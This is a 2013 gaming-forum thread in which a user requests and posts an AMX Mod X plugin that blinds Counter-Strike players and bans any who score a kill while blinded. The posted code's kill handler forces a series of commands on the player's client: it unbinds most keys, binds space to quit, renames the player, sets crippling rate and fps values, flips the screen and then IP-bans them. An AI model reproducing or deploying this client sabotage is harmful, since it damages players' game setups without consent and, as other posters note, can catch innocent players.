Raised This Month: $12 Target: $400
 3% 

New anticheat Plugin [automatic] Progress 50%


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
eforie
BANNED
Join Date: Dec 2008
Location: Romania
Old 03-18-2013 , 17:42   New anticheat Plugin [automatic] Progress 50%
Reply With Quote #1

Hi,
I need a plugin that can add auto-blind to all players with cvars.
amx_blind 1/0 - on/off
amx_blind_message - Server running anticheat, please stay in your place
amx_blind_round 2 - auto-blind to all players on second round
amx_blind_time 45 - auto-blind to all players with 45 seconds duration
amx_blind_punish 0/1/2/ | If the player with blind make a kill he will be punished.
amx_blind_kill_message - The player Tom made a kill with blind (ban 24 hours)

Punish means:
0 - kick player
1 - slay user
2 - ban player


With this automatic plugin you can caught many players with wallhack anticheat.

Please help me.
thank you.

Last edited by eforie; 03-18-2013 at 21:27. Reason: updated
eforie is offline
Send a message via Yahoo to eforie Send a message via Skype™ to eforie
ANTICHRISTUS
kingdom of weird stuff
Join Date: Jun 2010
Location: My kingdom is not in thi
Old 03-18-2013 , 20:02   Re: New anticheat Plugin [automatic]
Reply With Quote #2

and you think that the cheaters will be unmasked like this ? a lot of them simulate a clean play, by thinking that they are watched eveywhere and eveytime. really hard to catch such sons of female dog !
my advice is always the same.
__________________

Last edited by ANTICHRISTUS; 03-18-2013 at 20:04.
ANTICHRISTUS is offline
hornet
AMX Mod X Plugin Approver
Join Date: Mar 2010
Location: Australia
Old 03-18-2013 , 20:27   Re: New anticheat Plugin [automatic]
Reply With Quote #3

I much agree. Your going to completely skew gameplay by doing something like this. And let's be honest have you never seen someone get a kill whilst blinded?
hornet is offline
eforie
BANNED
Join Date: Dec 2008
Location: Romania
Old 03-18-2013 , 21:02   Re: New anticheat Plugin [automatic]
Reply With Quote #4

Quote:
Originally Posted by ANTICHRISTUS View Post
and you think that the cheaters will be unmasked like this ? a lot of them simulate a clean play, by thinking that they are watched eveywhere and eveytime. really hard to catch such sons of female dog !
my advice is always the same.
Yes, I think is a great idea when there are no admins online, this plugin can ban many cheaters.
It`s difficult to simulate, if you put the test on every 5-10 rounds. Cheaters must die !

Quote:
Originally Posted by hornet View Post
I much agree. Your going to completely skew gameplay by doing something like this. And let's be honest have you never seen someone get a kill whilst blinded?
This plugin will never destroy the game, and yes I saw people killing while blinded.
But if you put the test verification on the beginning round, you can kill only if you have wallhack.

I just found a plugin for amx_blind.
amx_blind Target
if the target made 1 kill, he will get banned.

amx_blind 1/0 - on/off (optional - unnecessary in this plugin)
amx_blind_message - Server running anticheat, please stay in your place ( Unsolved)
amx_blind_round 2 - auto-blind to all players on second round ( Unsolved)
amx_blind_time 45 - auto-blind to all players with 45 seconds duration ( Unsolved )
amx_blind_punish 0/1/2/ | If the player with blind make a kill he will be punished. (Solved)
amx_blind_kill_message - The player Tom made a kill with blind (ban 24 hours) (Solved)
amx_blind_count 3 - If the player will kill 3 players, he will get banned. ( Unsolved )



Code:
#include <amxmodx>
#include <amxmisc>
#include <fakemeta_util>
#include <fun>
#include <engine>
#define CMDTARGET_BLIND (CMDTARGET_OBEY_IMMUNITY|CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS)
new DirectorServer[64], TextServer[32], LimbaServer = 31,r,t, FisierServer[128], SalvareServer, bool:g_bBlind[33], gmsgScreenFade, amx_show_activity, admin[33]
static const poza[] = "http://cs.eforienett.ro" 
public plugin_init()
{
register_plugin("Advanced blind", "1.0", "eforie")
gmsgScreenFade = get_user_msgid("ScreenFade") 
register_event("ScreenFade", "Event_ScreenFade", "b")
register_event("DeathMsg","hook_death","a");
register_concmd("amx_blind","cmdBlind", ADMIN_KICK, "- >nume sau #userid< -") 
register_concmd("amx_unblind","cmdUnblind", ADMIN_KICK, "- >nume sau #userid< -")
if( !(amx_show_activity = get_cvar_pointer("amx_show_activity")) )
{
amx_show_activity = register_cvar("amx_show_activity","0")
}
}
public client_putinserver(id)
{
g_bBlind[id] = false
}
public cmdBlind(id, level, cid)
{ 
if(!cmd_access(id, level, cid, 2))
return PLUGIN_HANDLED
new arg[32] 
read_argv(1, arg, 31) 
new user = cmd_target(id, arg, CMDTARGET_BLIND)
if(!user) 
return PLUGIN_HANDLED
new name2[32], name[32], ip[32]
get_user_name(id, name, 31)
get_user_name(user, name2, 31)
get_user_ip(user, ip, 31, 1)
admin[ user ] = id;
if(g_bBlind[user])
{
console_print(id, "Jucatorul ^"%s^" are deja blind", name2)
return PLUGIN_HANDLED
}
else
{
g_bBlind[user] = true
Fade_To_Black(user)
}
console_print(id, "Jucatorul ^"%s^" cu ip: ^"%s^" a primit blind", name2, ip) 
client_cmd(id,"amx_chat ^"%s^" a primit blind", name2)
return PLUGIN_HANDLED 
}
public cmdUnblind(id, level, cid)
{ 
if(!cmd_access(id, level, cid, 2))
return PLUGIN_HANDLED
new arg[32] 
read_argv(1, arg, 31) 
new user = cmd_target(id, arg, CMDTARGET_BLIND) 
if(!user)
return PLUGIN_HANDLED
new name2[32], name[32], ip[32]
get_user_name(id, name, 31) 
get_user_name(user, name2, 31)
get_user_ip(user, ip, 31, 1)
if(g_bBlind[user])
{
g_bBlind[user] = false
Reset_Screen(user)
}
else
{
console_print(id, "Jucatorul ^"%s^" are deja blind", name2)
return PLUGIN_HANDLED
}
switch(get_pcvar_num(amx_show_activity))
{
}
console_print(id, "Jucatorul ^"%s^" cu ip: ^"%s^" a primit unblind", name2, ip) 
client_cmd(id,"amx_chat ^"%s^" a primit unblind", name2)
return PLUGIN_HANDLED
}
public Event_ScreenFade(id) 
{
if(g_bBlind[id])
{
Fade_To_Black(id)
}
}
Fade_To_Black(id)
{
message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
write_short((1<<3)|(1<<8)|(1<<10))
write_short((1<<3)|(1<<8)|(1<<10))
write_short((1<<0)|(1<<2))
write_byte(255)
write_byte(255)
write_byte(255)
write_byte(255)
message_end()
}
Reset_Screen(id)
{
message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
write_short(1<<2)
write_short(0)
write_short(0)
write_byte(0)
write_byte(0)
write_byte(0)
write_byte(0)
message_end()
}
public hook_death()
{
new killer = read_data(1);
new numeserver [64], numeadmin[32], numeblindat[32], ipadmin[32], ipcodat [32], admini[33], inum
new fo_logfile[64],timp[64],maxtext[256]
get_user_name(admin[killer], numeadmin, 31)
get_user_name(killer, numeblindat, 31)
get_user_ip(admin[killer], ipadmin, 31, 1)
get_user_ip(killer, ipcodat, 31, 1)
get_cvar_string("hostname",numeserver,63); 
get_configsdir(fo_logfile, 63)
get_time("%m/%d/%Y - %H:%M:%S",timp,63)
if(g_bBlind[killer])
{
IncarcareServer()
ScriereServer() 
set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
show_hudmessage(0, "FRAG DUPA BLIND^nAi incalcat regulile noastre.^nEsti al %i`lea codat prins.^nSper ca vei renunta la cheaturi de-acum incolo.^nCs.EforieNett.Ro", SalvareServer)
client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"")
format(maxtext, 255, "[Cs.EforieNett.Ro] %s -> ADMIN: %s %s CODAT: %s %s ",timp,numeadmin,ipadmin,numeblindat,ipcodat)
format(fo_logfile, 63, "%s/fragdupablind.txt", fo_logfile)
for (new i = 0; i < inum; ++i) {
if ( access(admini[i],ADMIN_CHAT) )
client_print(admini[i],print_chat,"Cs.EforieNett.Ro: Jucatorul %s a facut frag dupa blind-ul dat de %s",killer,admin[killer])
}
client_cmd(killer,"developer 1")
client_cmd(killer,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am facut frag dupa BLIND pe Cs.EforieNett.Ro^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
client_cmd(killer,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
client_cmd(killer,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
client_cmd(killer,"unbind end;wait;bind escape ^"say Am facut frag dupa BLIND pe Cs.EforieNett.Ro^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
client_cmd(killer,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Am facut frag dupa BLIND pe Cs.EforieNett.Ro^";bind ~ ^"say Am facut frag dupa BLIND pe Cs.EforieNett.Ro^";wait;name ^"CODAT de pe Cs.EforieNett.Ro ^"")
client_cmd(killer,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
write_file(fo_logfile,maxtext,-1)
client_print(killer, print_chat, "* FRAG DUPA BLIND by %s", poza)
client_print(killer, print_chat, "* Poza facuta pe : %s",numeserver) 
client_print(killer, print_chat, "* Nume codat: ^"%s^" cu IP: %s",numeblindat,ipcodat) 
client_print(killer, print_chat, "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
client_print(killer, print_chat, "* Data : %s",timp) 
client_print(killer, print_chat, "* Viziteaza %s pentru a face o cerere de UNBAN.", poza) 
client_cmd(killer,"wait;snapshot")
console_print(killer, "* FRAG DUPA BLIND by %s", poza)
console_print(killer, "* Poza facuta pe : %s",numeserver) 
console_print(killer, "* Nume codat: ^"%s^" cu IP: %s",numeblindat,ipcodat) 
console_print(killer, "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
console_print(killer, "* Data : %s",timp) 
console_print(killer, "* Viziteaza %s pentru a face o cerere de UNBAN.", poza) 
client_cmd(killer,"wait;snapshot")
console_print(admin[killer], "* FRAG DUPA BLIND by %s", poza)
console_print(admin[killer], "* Poza facuta pe : %s",numeserver) 
console_print(admin[killer], "* Nume codat: ^"%s^" cu IP: %s",numeblindat,ipcodat) 
console_print(admin[killer], "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
console_print(admin[killer], "* Data : %s",timp) 
console_print(admin[killer], "* Viziteaza %s pentru a face o cerere de UNBAN.", poza) 
client_cmd(admin[killer],"wait;snapshot")
client_cmd( admin[killer], "amx_ban 10000 %s ^"FRAG DUPA BLIND^"", ipcodat );
}
} 
stock IncarcareServer()
{
get_configsdir(DirectorServer, 63)
format(FisierServer,127,"%s/fragdupablind.q",DirectorServer)
if (!file_exists(FisierServer)){
return PLUGIN_HANDLED
}
else 
{
read_file(FisierServer,0,TextServer,LimbaServer,r)
SalvareServer = str_to_num(TextServer)
}
return PLUGIN_CONTINUE
}
stock ScriereServer()
{
get_configsdir(DirectorServer, 63)
format(FisierServer,127,"%s/fragdupablind.q",DirectorServer)
if (!file_exists(FisierServer))
{
return PLUGIN_HANDLED
}
else 
{
read_file(FisierServer,0,TextServer,LimbaServer,t)
SalvareServer = str_to_num(TextServer)
SalvareServer = SalvareServer + 1
format(TextServer,31,"%i",SalvareServer)
delete_file(FisierServer)
write_file(FisierServer,TextServer,-1)
}
return PLUGIN_CONTINUE
}

Last edited by eforie; 03-19-2013 at 11:35. Reason: updated 1.0 version
eforie is offline
Send a message via Yahoo to eforie Send a message via Skype™ to eforie
XINLEI
me too
Join Date: Jun 2011
Location: Colombian Coffee storage
Old 03-18-2013 , 21:32   Re: New anticheat Plugin [automatic]
Reply With Quote #5

What if i play with the arrows than the WASD keys?

Last edited by XINLEI; 03-18-2013 at 21:32.
XINLEI is offline
eforie
BANNED
Join Date: Dec 2008
Location: Romania
Old 03-18-2013 , 21:34   Re: New anticheat Plugin [automatic]
Reply With Quote #6

Quote:
Originally Posted by XINLEI View Post
What if i play with the arrows than the WASD keys?
Sorry, I don`t understand your question.
eforie is offline
Send a message via Yahoo to eforie Send a message via Skype™ to eforie
hornet
AMX Mod X Plugin Approver
Join Date: Mar 2010
Location: Australia
Old 03-18-2013 , 22:05   Re: New anticheat Plugin [automatic] Progress 50%
Reply With Quote #7

Well I must be misunderstanding you then .. please correct me if I'm wrong: Your going to send fade message to players at a random time of play, and if someone who is blind gets a kill, your going to ban them?
If that's true, do you really think that a "good cheater" is going to go for the massive 1 kill whilst blind and risk getting caught/ suspicious?
hornet is offline
XINLEI
me too
Join Date: Jun 2011
Location: Colombian Coffee storage
Old 03-18-2013 , 22:25   Re: New anticheat Plugin [automatic]
Reply With Quote #8

Quote:
Originally Posted by eforie View Post
Sorry, I don`t understand your question.
My fault. i misread blind to bind. :s
XINLEI is offline
eforie
BANNED
Join Date: Dec 2008
Location: Romania
Old 03-19-2013 , 11:38   Re: New anticheat Plugin [automatic] Progress 50%
Reply With Quote #9

Quote:
Originally Posted by hornet View Post
Well I must be misunderstanding you then .. please correct me if I'm wrong: Your going to send fade message to players at a random time of play, and if someone who is blind gets a kill, your going to ban them?
If that's true, do you really think that a "good cheater" is going to go for the massive 1 kill whilst blind and risk getting caught/ suspicious?
Yes, you understand. I think even a "good cheater" can be banned with this plugin.
You gave me an ideea, to put new cvar on this plugin.
amx_blind_count 3 - If the player will kill 3 players, he will get banned.

Last edited by eforie; 03-19-2013 at 11:44.
eforie is offline
Send a message via Yahoo to eforie Send a message via Skype™ to eforie
ANTICHRISTUS
kingdom of weird stuff
Join Date: Jun 2010
Location: My kingdom is not in thi
Old 03-19-2013 , 16:03   Re: New anticheat Plugin [automatic]
Reply With Quote #10

Quote:
Originally Posted by eforie View Post
Yes, I think is a great idea when there are no admins online, this plugin can ban many cheaters.
as I told you they are paranoiacs and aren't stupid to shoot when they're blind. and you may ban players who follow the sounds of other players without watching them, and (maybe) some aimbot users too.
Quote:
Originally Posted by eforie View Post
It`s difficult to simulate, if you put the test on every 5-10 rounds. Cheaters must die !
a legit player can't understand how a bastard cheater is thinking, sorry but it's a bad idea .
__________________
ANTICHRISTUS is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 19:27.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode